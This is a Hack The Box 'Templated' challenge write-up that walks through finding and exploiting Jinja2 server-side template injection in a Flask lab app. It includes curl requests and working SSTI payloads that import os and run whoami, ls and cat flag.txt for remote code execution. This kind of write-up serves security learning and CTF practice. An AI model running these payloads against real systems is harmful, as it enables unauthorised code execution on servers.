Hack The Box Templated Challenge Writeup — shaggy

Description: Hey everyone, I’m sharing the walkthrough for the Templated challenge on Hack The Box. This one emphasizes the importance of SSTI (Server-Side Template Injection) and security research. Let’s solve it. 🍾 🙌 🎉

Navigating to the provided host and port gives us a 404 page, but we immediately notice the footer: Flask/Jinja2.

1┌──(root㉿kali)-[/home/kali/Desktop]└─# curl -i 68.183.38.252:30050HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 79Server: Werkzeug/1.0.1 Python/3.9.0Date: Sun, 19 Mar 2023 13:20:33 GMT<h1>Site still under construction</h1><p>Proudly powered by Flask/Jinja2</p>

After some research I came across this post by Gus Ralph covering SSTI in Jinja2.

First, we confirm the vulnerability exists by sending {{3*3}} in the URL path.

1┌──(root㉿kali)-[/home/kali/Desktop]└─# curl -i http://68.183.38.252:30050/%7B%7B3*3%7D%7DHTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 69Server: Werkzeug/1.0.1 Python/3.9.0Date: Sun, 19 Mar 2023 13:33:20 GMT<h1>Error 404</h1><p>The page '<str>9</str>' could not be found</p>

The 9 in the response confirms SSTI. 3*3 was evaluated. Reading further in the article, Gus describes how to achieve RCE. Let’s find out who we are first.

1{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

We’re running as root, no privilege escalation needed!

1The page 'root ' could not be found

Let’s list files in the current directory.

1{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}

Result: bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

flag.txt is right there in the root. We read it and complete the challenge.

1{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

Thanks for reading, happy hacking! :)